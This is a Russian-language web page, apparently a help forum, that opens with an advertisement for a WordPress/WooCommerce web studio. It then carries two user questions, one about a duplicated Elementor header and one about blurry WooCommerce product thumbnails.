Веб - студия expweb предлагает услуги веб разработки, доработки и наполнения сайтов, на рынке более 3-х лет. За плечами десятки довольных клиентов. Работаем cms WordPress - WooCommerce. Сроки создания сайта от 5 до 10 рабочих дней. Детальную информацию уточняйте. ✔ Ознакомиться с нашими работами https://expweb.ru/portfolio/ ...

На новом холсте появляется еще один heaDER

Появилась проблема создаю новый header в ELEMENTOR на новом холсте все было хорошо, потом после сохраняю и сверху выскакивает основноем меню подскажите что делать

Wocommerce.Как исправить размытые изображения woocommerce и настроить тумбы для товаров?

Всем привет! Подскажите, пожалуйста, у меня размывает фото товара в карточке товара, но когда я навожусь лупой, то сразу всё становится нормально. Я так понимаю этом связано с тумбами. Так вот каким образом можно создать тумбы и подогнать их для товаров? Если это не связано с тумбами, то по какой причине это может быть еще и как решить? СпасибоСсылка:https://nellys-charm.com/product/plate-pl3-478/

Anonymous
Отправить
Ответ на: